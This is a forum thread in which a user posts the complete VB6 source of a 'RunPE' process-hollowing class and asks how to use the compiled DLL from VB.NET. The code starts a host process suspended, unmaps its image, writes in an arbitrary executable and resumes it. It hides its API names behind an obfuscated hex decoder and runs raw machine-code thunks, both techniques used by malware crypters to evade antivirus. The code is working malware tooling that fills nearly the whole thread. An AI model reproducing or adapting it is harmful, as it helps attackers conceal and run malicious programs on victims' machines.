Using a VB6 RunPE DLL in VB.NET?

Please support our VB.NET advertiser: Intel Parallel Studio Home
Reply

Join Date: Aug 2009
Posts: 8
Reputation: vaq is an unknown quantity at this point 
Solved Threads: 0
vaq vaq is offline Offline
Newbie Poster

Using a VB6 RunPE DLL in VB.NET?

 
0
  #1
Aug 23rd, 2009
Here's the DLL I've compiled in VB6:
  1. '---------------------------------------------------------------------------------------
  2. ' Module : cNtPEL
  3. ' DateTime : 30/06/2009 06:32
  4. ' Author : Cobein
  5. ' Mail : cobein27@hotmail.com
  6. ' WebPage : http://www.advancevb.com.ar (updated =D)
  7. ' Purpose : Inject Exe
  8. ' Usage : At your own risk
  9. ' Requirements: None
  10. ' Distribution: You can freely use this code in your own
  11. ' applications, but you may not reproduce
  12. ' or publish this code on any web site,
  13. ' online service, or distribute as source
  14. ' on any media without express permission.
  15. '
  16. ' Thanks to : This is gonna be a looong list xD
  17. ' Batfitch - kernel base asm
  18. ' Karcrack - For helping me to debug and test it
  19. ' Paul Caton - vTable patch examples
  20. ' rm_code - First call api prototype
  21. ' and different books and pappers
  22. '
  23. ' Compile : P-Code !!!
  24. '
  25. ' Comments : Coded on top of the invoke module.
  26. '
  27. ' History : 30/06/2009 First Cut....................................................
  28. ' 02/08/2009 Modded By Karcrack, Now is NtRunPEL, thanks Slayer (;........
  29. '---------------------------------------------------------------------------------------
  30. Option Explicit
  31.  
  32. Private Const IMAGE_DOS_SIGNATURE As Long = &H5A4D&
  33. Private Const IMAGE_NT_SIGNATURE As Long = &H4550&
  34.  
  35. Private Const SIZE_DOS_HEADER As Long = &H40
  36. Private Const SIZE_NT_HEADERS As Long = &HF8
  37. Private Const SIZE_EXPORT_DIRECTORY As Long = &H28
  38. Private Const SIZE_IMAGE_SECTION_HEADER As Long = &H28
  39.  
  40. Private Const THUNK_APICALL As String = "8B4C240851<PATCH1>E8<PATCH2>5989016631C0C3"
  41. Private Const THUNK_KERNELBASE As String = "8B5C240854B830000000648B008B400C8B401C8B008B400889035C31C0C3"
  42.  
  43. Private Const PATCH1 As String = "<PATCH1>"
  44. Private Const PATCH2 As String = "<PATCH2>"
  45.  
  46. Private Const CONTEXT_FULL As Long = &H10007
  47. Private Const CREATE_SUSPENDED As Long = &H4
  48. Private Const MEM_COMMIT As Long = &H1000
  49. Private Const MEM_RESERVE As Long = &H2000
  50. Private Const PAGE_EXECUTE_READWRITE As Long = &H40
  51.  
  52. Private Type STARTUPINFO
  53. cb As Long
  54. lpReserved As Long
  55. lpDesktop As Long
  56. lpTitle As Long
  57. dwX As Long
  58. dwY As Long
  59. dwXSize As Long
  60. dwYSize As Long
  61. dwXCountChars As Long
  62. dwYCountChars As Long
  63. dwFillAttribute As Long
  64. dwFlags As Long
  65. wShowWindow As Integer
  66. cbReserved2 As Integer
  67. lpReserved2 As Long
  68. hStdInput As Long
  69. hStdOutput As Long
  70. hStdError As Long
  71. End Type
  72.  
  73. Private Type PROCESS_INFORMATION
  74. hProcess As Long
  75. hThread As Long
  76. dwProcessID As Long
  77. dwThreadID As Long
  78. End Type
  79.  
  80. Private Type FLOATING_SAVE_AREA
  81. ControlWord As Long
  82. StatusWord As Long
  83. TagWord As Long
  84. ErrorOffset As Long
  85. ErrorSelector As Long
  86. DataOffset As Long
  87. DataSelector As Long
  88. RegisterArea(1 To 80) As Byte
  89. Cr0NpxState As Long
  90. End Type
  91.  
  92. Private Type CONTEXT
  93. ContextFlags As Long
  94. Dr0 As Long
  95. Dr1 As Long
  96. Dr2 As Long
  97. Dr3 As Long
  98. Dr6 As Long
  99. Dr7 As Long
  100. FloatSave As FLOATING_SAVE_AREA
  101. SegGs As Long
  102. SegFs As Long
  103. SegEs As Long
  104. SegDs As Long
  105. Edi As Long
  106. Esi As Long
  107. Ebx As Long
  108. Edx As Long
  109. Ecx As Long
  110. Eax As Long
  111. Ebp As Long
  112. Eip As Long
  113. SegCs As Long
  114. EFlags As Long
  115. Esp As Long
  116. SegSs As Long
  117. End Type
  118.  
  119. Private Type IMAGE_DOS_HEADER
  120. e_magic As Integer
  121. e_cblp As Integer
  122. e_cp As Integer
  123. e_crlc As Integer
  124. e_cparhdr As Integer
  125. e_minalloc As Integer
  126. e_maxalloc As Integer
  127. e_ss As Integer
  128. e_sp As Integer
  129. e_csum As Integer
  130. e_ip As Integer
  131. e_cs As Integer
  132. e_lfarlc As Integer
  133. e_ovno As Integer
  134. e_res(0 To 3) As Integer
  135. e_oemid As Integer
  136. e_oeminfo As Integer
  137. e_res2(0 To 9) As Integer
  138. e_lfanew As Long
  139. End Type
  140.  
  141. Private Type IMAGE_FILE_HEADER
  142. Machine As Integer
  143. NumberOfSections As Integer
  144. TimeDateStamp As Long
  145. PointerToSymbolTable As Long
  146. NumberOfSymbols As Long
  147. SizeOfOptionalHeader As Integer
  148. Characteristics As Integer
  149. End Type
  150.  
  151. Private Type IMAGE_DATA_DIRECTORY
  152. VirtualAddress As Long
  153. Size As Long
  154. End Type
  155.  
  156. Private Type IMAGE_OPTIONAL_HEADER
  157. Magic As Integer
  158. MajorLinkerVersion As Byte
  159. MinorLinkerVersion As Byte
  160. SizeOfCode As Long
  161. SizeOfInitializedData As Long
  162. SizeOfUnitializedData As Long
  163. AddressOfEntryPoint As Long
  164. BaseOfCode As Long
  165. BaseOfData As Long
  166. ImageBase As Long
  167. SectionAlignment As Long
  168. FileAlignment As Long
  169. MajorOperatingSystemVersion As Integer
  170. MinorOperatingSystemVersion As Integer
  171. MajorImageVersion As Integer
  172. MinorImageVersion As Integer
  173. MajorSubsystemVersion As Integer
  174. MinorSubsystemVersion As Integer
  175. W32VersionValue As Long
  176. SizeOfImage As Long
  177. SizeOfHeaders As Long
  178. CheckSum As Long
  179. SubSystem As Integer
  180. DllCharacteristics As Integer
  181. SizeOfStackReserve As Long
  182. SizeOfStackCommit As Long
  183. SizeOfHeapReserve As Long
  184. SizeOfHeapCommit As Long
  185. LoaderFlags As Long
  186. NumberOfRvaAndSizes As Long
  187. DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
  188. End Type
  189.  
  190. Private Type IMAGE_NT_HEADERS
  191. Signature As Long
  192. FileHeader As IMAGE_FILE_HEADER
  193. OptionalHeader As IMAGE_OPTIONAL_HEADER
  194. End Type
  195.  
  196. Private Type IMAGE_EXPORT_DIRECTORY
  197. Characteristics As Long
  198. TimeDateStamp As Long
  199. MajorVersion As Integer
  200. MinorVersion As Integer
  201. lpName As Long
  202. Base As Long
  203. NumberOfFunctions As Long
  204. NumberOfNames As Long
  205. lpAddressOfFunctions As Long
  206. lpAddressOfNames As Long
  207. lpAddressOfNameOrdinals As Long
  208. End Type
  209.  
  210. Private Type IMAGE_SECTION_HEADER
  211. SecName As String * 8
  212. VirtualSize As Long
  213. VirtualAddress As Long
  214. SizeOfRawData As Long
  215. PointerToRawData As Long
  216. PointerToRelocations As Long
  217. PointerToLinenumbers As Long
  218. NumberOfRelocations As Integer
  219. NumberOfLinenumbers As Integer
  220. Characteristics As Long
  221. End Type
  222.  
  223. Private Declare Sub CpyMem Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
  224.  
  225. Private c_lKrnl As Long
  226. Private c_lLoadLib As Long
  227. Private c_bInit As Boolean
  228. Private c_lVTE As Long
  229. Private c_lOldVTE As Long
  230. Private c_bvASM(&HFF) As Byte
  231.  
  232. Public Function zDoNotCall() As Long
  233. 'This function will be replaced with machine code laterz
  234. 'Do not add any public procedure on top of it
  235. End Function
  236.  
  237. Public Function RunPE(ByRef bvBuff() As Byte, Optional sHost As String, Optional ByRef hProc As Long) As Boolean
  238. Dim i As Long
  239. Dim tIMAGE_DOS_HEADER As IMAGE_DOS_HEADER
  240. Dim tIMAGE_NT_HEADERS As IMAGE_NT_HEADERS
  241. Dim tIMAGE_SECTION_HEADER As IMAGE_SECTION_HEADER
  242. Dim tSTARTUPINFO As STARTUPINFO
  243. Dim tPROCESS_INFORMATION As PROCESS_INFORMATION
  244. Dim tCONTEXT As CONTEXT
  245. Dim lKernel As Long
  246. Dim lNTDll As Long
  247. Dim lMod As Long
  248.  
  249. If Not c_bInit Then Exit Function
  250.  
  251. Call CpyMem(tIMAGE_DOS_HEADER, bvBuff(0), SIZE_DOS_HEADER)
  252.  
  253. If Not tIMAGE_DOS_HEADER.e_magic = IMAGE_DOS_SIGNATURE Then
  254. Exit Function
  255. End If
  256.  
  257. Call CpyMem(tIMAGE_NT_HEADERS, bvBuff(tIMAGE_DOS_HEADER.e_lfanew), SIZE_NT_HEADERS)
  258.  
  259. If Not tIMAGE_NT_HEADERS.Signature = IMAGE_NT_SIGNATURE Then
  260. Exit Function
  261. End If
  262.  
  263. 'kernel32
  264. lKernel = LoadLibrary(nlfpkgnrj("6B65726E656C3332")) 'KPC
  265. 'ntdll
  266. lNTDll = LoadLibrary(nlfpkgnrj("6E74646C6C")) 'KPC
  267.  
  268. If sHost = vbNullString Then
  269. sHost = Space(260)
  270. 'GetModuleFileNameW
  271. lMod = GetProcAddress(lKernel, nlfpkgnrj("4765744D6F64756C6546696C654E616D6557")) 'KPC
  272. Invoke lMod, App.hInstance, StrPtr(sHost), 260
  273. End If
  274.  
  275. With tIMAGE_NT_HEADERS.OptionalHeader
  276.  
  277. tSTARTUPINFO.cb = Len(tSTARTUPINFO)
  278.  
  279. 'CreateProcessW
  280. lMod = GetProcAddress(lKernel, nlfpkgnrj("43726561746550726F6365737357")) 'KPC
  281. Invoke lMod, 0, StrPtr(sHost), 0, 0, 0, CREATE_SUSPENDED, 0, 0, VarPtr(tSTARTUPINFO), VarPtr(tPROCESS_INFORMATION)
  282.  
  283. 'NtUnmapViewOfSection
  284. lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74556E6D6170566965774F6653656374696F6E")) 'KPC
  285. Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase
  286.  
  287. 'VirtualAllocEx
  288. lMod = GetProcAddress(lKernel, nlfpkgnrj("5669727475616C416C6C6F634578")) 'KPC
  289. Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase, .SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
  290.  
  291. 'NtWriteVirtualMemory
  292. lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E7457726974655669727475616C4D656D6F7279")) 'KPC
  293. Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase, VarPtr(bvBuff(0)), .SizeOfHeaders, 0
  294.  
  295. For i = 0 To tIMAGE_NT_HEADERS.FileHeader.NumberOfSections - 1
  296. CpyMem tIMAGE_SECTION_HEADER, bvBuff(tIMAGE_DOS_HEADER.e_lfanew + SIZE_NT_HEADERS + SIZE_IMAGE_SECTION_HEADER * i), Len(tIMAGE_SECTION_HEADER)
  297. Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase + tIMAGE_SECTION_HEADER.VirtualAddress, VarPtr(bvBuff(tIMAGE_SECTION_HEADER.PointerToRawData)), tIMAGE_SECTION_HEADER.SizeOfRawData, 0
  298. Next i
  299.  
  300. tCONTEXT.ContextFlags = CONTEXT_FULL
  301.  
  302. 'NtGetContextThread
  303. lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74476574436F6E74657874546872656164")) 'KPC
  304. Invoke lMod, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
  305.  
  306. 'NtWriteVirtualMemory
  307. lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E7457726974655669727475616C4D656D6F7279")) 'KPC
  308. Invoke lMod, tPROCESS_INFORMATION.hProcess, tCONTEXT.Ebx + 8, VarPtr(.ImageBase), 4, 0
  309.  
  310. tCONTEXT.Eax = .ImageBase + .AddressOfEntryPoint
  311.  
  312. 'NtSetContextThread
  313. lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74536574436F6E74657874546872656164")) 'KPC
  314. Invoke lMod, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
  315.  
  316. 'NtResumeThread
  317. lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74526573756D65546872656164")) 'KPC
  318. Invoke lMod, tPROCESS_INFORMATION.hThread, 0
  319.  
  320. hProc = tPROCESS_INFORMATION.hProcess
  321. End With
  322.  
  323. RunPE = True
  324. End Function
  325.  
  326. Public Function Invoke(ByVal lMod As Long, ParamArray Params()) As Long
  327. Dim lPtr As Long
  328. Dim i As Long
  329. Dim sData As String
  330. Dim sParams As String
  331.  
  332. If lMod = 0 Then Exit Function
  333.  
  334. For i = UBound(Params) To 0 Step -1
  335. sParams = sParams & "68" & GetLong(CLng(Params(i)))
  336. Next
  337.  
  338. lPtr = VarPtr(c_bvASM(0))
  339. lPtr = lPtr + (UBound(Params) + 2) * 5
  340. lPtr = lMod - lPtr - 5
  341.  
  342. sData = THUNK_APICALL
  343. sData = Replace(sData, PATCH1, sParams)
  344. sData = Replace(sData, PATCH2, GetLong(lPtr))
  345.  
  346. Call PutThunk(sData)
  347.  
  348. Invoke = PatchCall
  349. End Function
  350.  
  351. Private Function GetLong(ByVal lData As Long) As String
  352. Dim bvTemp(3) As Byte
  353. Dim i As Long
  354.  
  355. CpyMem bvTemp(0), lData, &H4
  356. For i = 0 To 3
  357. GetLong = GetLong & Right("0" & Hex(bvTemp(i)), 2)
  358. Next
  359. End Function
  360.  
  361. Private Sub PutThunk(ByVal sThunk As String)
  362. Dim i As Long
  363. For i = 0 To Len(sThunk) - 1 Step 2
  364. c_bvASM((i / 2)) = CByte("&h" & Mid$(sThunk, i + 1, 2))
  365. Next i
  366. End Sub
  367.  
  368. Private Function PatchCall() As Long
  369. CpyMem c_lVTE, ByVal ObjPtr(Me), &H4
  370. c_lVTE = c_lVTE + &H1C
  371. CpyMem c_lOldVTE, ByVal c_lVTE, &H4
  372. CpyMem ByVal c_lVTE, VarPtr(c_bvASM(0)), &H4
  373. PatchCall = zDoNotCall
  374. CpyMem ByVal c_lVTE, c_lOldVTE, &H4
  375. End Function
  376.  
  377. Public Function GetMod(ByVal sLib As String, ByVal sProc As String) As Long
  378. GetMod = Me.GetProcAddress(Me.LoadLibrary(sLib), sProc)
  379. End Function
  380.  
  381. Public Function LoadLibrary(ByVal sLib As String) As Long
  382. LoadLibrary = Invoke(c_lLoadLib, StrPtr(sLib & vbNullChar))
  383. End Function
  384.  
  385. Public Property Get Initialized() As Boolean
  386. Initialized = c_bInit
  387. End Property
  388.  
  389. Public Sub Class_Initialize()
  390.  
  391. Call PutThunk(THUNK_KERNELBASE)
  392.  
  393. c_lKrnl = PatchCall
  394.  
  395. If Not c_lKrnl = 0 Then
  396. c_lLoadLib = GetProcAddress(c_lKrnl, "LoadLibraryW")
  397. If Not c_lLoadLib = 0 Then
  398. c_bInit = True
  399. End If
  400. End If
  401. End Sub
  402.  
  403. Public Function GetProcAddress(ByVal lMod As Long, ByVal sProc As String) As Long
  404. Dim tIMAGE_DOS_HEADER As IMAGE_DOS_HEADER
  405. Dim tIMAGE_NT_HEADERS As IMAGE_NT_HEADERS
  406. Dim tIMAGE_EXPORT_DIRECTORY As IMAGE_EXPORT_DIRECTORY
  407.  
  408. Call CpyMem(tIMAGE_DOS_HEADER, ByVal lMod, SIZE_DOS_HEADER)
  409.  
  410. If Not tIMAGE_DOS_HEADER.e_magic = IMAGE_DOS_SIGNATURE Then
  411. Exit Function
  412. End If
  413.  
  414. Call CpyMem(tIMAGE_NT_HEADERS, ByVal lMod + tIMAGE_DOS_HEADER.e_lfanew, SIZE_NT_HEADERS)
  415.  
  416. If Not tIMAGE_NT_HEADERS.Signature = IMAGE_NT_SIGNATURE Then
  417. Exit Function
  418. End If
  419.  
  420. Dim lVAddress As Long
  421. Dim lVSize As Long
  422. Dim lBase As Long
  423.  
  424. With tIMAGE_NT_HEADERS.OptionalHeader
  425. lVAddress = lMod + .DataDirectory(0).VirtualAddress
  426. lVSize = lVAddress + .DataDirectory(0).Size
  427. lBase = .ImageBase
  428. End With
  429.  
  430. Call CpyMem(tIMAGE_EXPORT_DIRECTORY, ByVal lVAddress, SIZE_EXPORT_DIRECTORY)
  431.  
  432. Dim i As Long
  433. Dim lFunctAdd As Long
  434. Dim lNameAdd As Long
  435. Dim lNumbAdd As Long
  436.  
  437. With tIMAGE_EXPORT_DIRECTORY
  438. For i = 0 To .NumberOfNames - 1
  439.  
  440. CpyMem lNameAdd, ByVal lBase + .lpAddressOfNames + i * 4, 4
  441.  
  442. If StringFromPtr(lBase + lNameAdd) = sProc Then
  443. CpyMem lNumbAdd, ByVal lBase + .lpAddressOfNameOrdinals + i * 2, 2
  444. CpyMem lFunctAdd, ByVal lBase + .lpAddressOfFunctions + lNumbAdd * 4, 4
  445.  
  446. GetProcAddress = lFunctAdd + lBase
  447.  
  448. If GetProcAddress >= lVAddress And _
  449. GetProcAddress <= lVSize Then
  450. Call ResolveForward(GetProcAddress, lMod, sProc)
  451. If Not lMod = 0 Then
  452. GetProcAddress = GetProcAddress(lMod, sProc)
  453. Else
  454. GetProcAddress = 0
  455. End If
  456. End If
  457.  
  458. Exit Function
  459. End If
  460. Next
  461. End With
  462.  
  463. End Function
  464.  
  465. Private Function ResolveForward( _
  466. ByVal lAddress As Long, _
  467. ByRef lLib As Long, _
  468. ByRef sMod As String)
  469.  
  470. Dim sForward As String
  471.  
  472. sForward = StringFromPtr(lAddress)
  473. If InStr(1, sForward, ".") Then
  474. lLib = LoadLibrary(Split(sForward, ".")(0))
  475. sMod = Split(sForward, ".")(1)
  476. End If
  477.  
  478. End Function
  479.  
  480. Private Function StringFromPtr( _
  481. ByVal lAddress As Long) As String
  482.  
  483. Dim bChar As Byte
  484.  
  485. Do
  486. CpyMem bChar, ByVal lAddress, 1
  487. lAddress = lAddress + 1
  488. If bChar = 0 Then Exit Do
  489. StringFromPtr = StringFromPtr & Chr$(bChar)
  490. Loop
  491.  
  492. End Function
  493.  
  494. Private Function nlfpkgnrj(ByVal sData As String) As String
  495. Dim i As Long
  496. For i = 1 To Len(sData) Step 2
  497. nlfpkgnrj = nlfpkgnrj & Chr$(Val("&H" & Mid$(sData, i, 2)))
  498. Next i
  499. End Function

I was just wondering how I'd be able to add it as a reference and then use it in my VB.NET project?
I know how to add a reference, but I don't understand how I can use that DLL in my VB.NET program.

Thankyou
Reply With Quote Quick reply to this message  
Join Date: Aug 2009
Posts: 8
Reputation: vaq is an unknown quantity at this point 
Solved Threads: 0
vaq vaq is offline Offline
Newbie Poster

Re: Using a VB6 RunPE DLL in VB.NET?

 
0
  #2
Aug 23rd, 2009
Well I got this far:
Private Function RunPE(ByVal bvBuff() As Byte, ByVal sHost As String, ByVal hProc As Long) As Boolean
End Function

Just not sure what I do to use it.
Reply With Quote Quick reply to this message  
Reply

This thread is more than three months old.
Perhaps start a new thread instead?
Message:


Thread Tools Search this Thread



Tag cloud for VB.NET
About Us | Contact Us | Advertise | DaniWeb | Acceptable Use Policy | RSS Feed

©2003 - 2009 DaniWeb® LLC